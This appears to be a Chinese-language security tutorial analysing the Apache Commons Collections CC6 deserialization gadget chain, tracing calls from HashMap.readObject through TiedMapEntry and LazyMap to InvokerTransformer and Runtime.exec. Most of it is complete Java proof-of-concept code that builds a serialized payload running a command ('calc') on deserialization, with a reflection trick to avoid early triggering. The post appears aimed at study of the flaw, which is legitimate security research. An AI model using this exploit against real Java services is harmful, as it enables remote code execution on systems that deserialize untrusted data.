Commons Collections是Apache软件基金会的一个开源项目,它提供了一组可复用的数据结构和算法的实现,旨在扩展和增强Java集合框架,以便更好地满足不同类型应用的需求。该项目包含了多种不同类型的集合类、迭代器、队列、堆栈、映射、列表、集等数据结构实现,以及许多实用程序类和算法实现。它的代码质量较高,被广泛应用于Java应用程序开发中。
利用链分析
先看下ysoserial的利用链
/*
Gadget chain:
java.io.ObjectInputStream.readObject()
java.util.HashSet.readObject()
java.util.HashMap.put()
java.util.HashMap.hash()
org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
org.apache.commons.collections.map.LazyMap.get()
org.apache.commons.collections.functors.ChainedTransformer.transform()
org.apache.commons.collections.functors.InvokerTransformer.transform()
java.lang.reflect.Method.invoke()
java.lang.Runtime.exec()
by @matthias_kaiser
*/
先定位到LazyMap#get,进入判断后会调用factory.transform(key)
由于factory参数可控,可以传递为InvokerTransformer来调用InvokerTransformer#transform来进行利用
回到LazyMap,找下那里调用了get,看到ysoserial的链是TiedMapEntry.getValue()调用了get,跟进发现里面有一个map.get方法
并且map可控,这里map传递LazyMap,会调用到LazyMap#get
再找下哪里调用了getValue(),发现同类的hashCode方法调用的
继续跟一下哪里调用了hashCode,在HashMap#hash调用了hashCode方法,这里key同样可控,传递参数为TiedMapEntry就可以调用到TiedMapEntry#hashCode
然后发现HashMap#readObject调用了hash方法
代码调试
根据上述利用链形成代码
public class CC6 {
public static void main(String[] args) throws Exception{
Transformer[] transform = new Transformer[]{
new ConstantTransformer(Runtime.class),//会调用里面的transform方法,他会返回初始化对象传递的参数
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transform);
Map<Object, Object> map = new HashMap<>();
Map lazyMap = LazyMap.decorate(map,chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap,"key");
HashMap<Object, Object> map1 = new HashMap<>();
map1.put(tiedMapEntry,"b");
serialize(map1);
}
发现序列化之前直接弹出了计算器
这是因为序列化时候会调用map.LazyMap#get-
并且反序列化时会判断key是否存在,key为空才会走到
factory.transform,这边还需要在序列化时将key清空
那我们就先给LazyMap#decorate方法的factory参数传一个没用的Transformer
Map lazyMap = LazyMap.*decorate*(map,new ConstantTransformer(1));
因为factory被protected修饰,序列化前需要通过反射改回来,同时使用lazyMap.remove方法清空key
Class lazyMapClass = LazyMap.class;
Field factory = lazyMapClass.getDeclaredField("factory");
factory.setAccessible(true);
factory.set(lazyMap,chainedTransformer);
lazyMap.remove("key");
完整代码
public class CC6 {
public static void main(String[] args) throws Exception{
Transformer[] transform = new Transformer[]{
new ConstantTransformer(Runtime.class),//会调用里面的transform方法,他会返回初始化对象传递的参数
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transform);
Map<Object, Object> map = new HashMap<>();
Map lazyMap = LazyMap.decorate(map,new ConstantTransformer(1));
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap,"key");
HashMap<Object, Object> map1 = new HashMap<>();
map1.put(tiedMapEntry,"b");
//反射调用&删除 factory.transform的key值
Class lazyMapClass = LazyMap.class;
Field factory = lazyMapClass.getDeclaredField("factory");
factory.setAccessible(true);
factory.set(lazyMap,chainedTransformer);
lazyMap.remove("key");
serialize(map1);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws Exception{
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("ser.bin"));
objectOutputStream.writeObject(obj);
System.out.println("serialize");
}
public static Object unserialize(String str) throws IOException, ClassNotFoundException {
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(str));
Object obj = objectInputStream.readObject();
System.out.println("unserialize");
return obj;
}
}









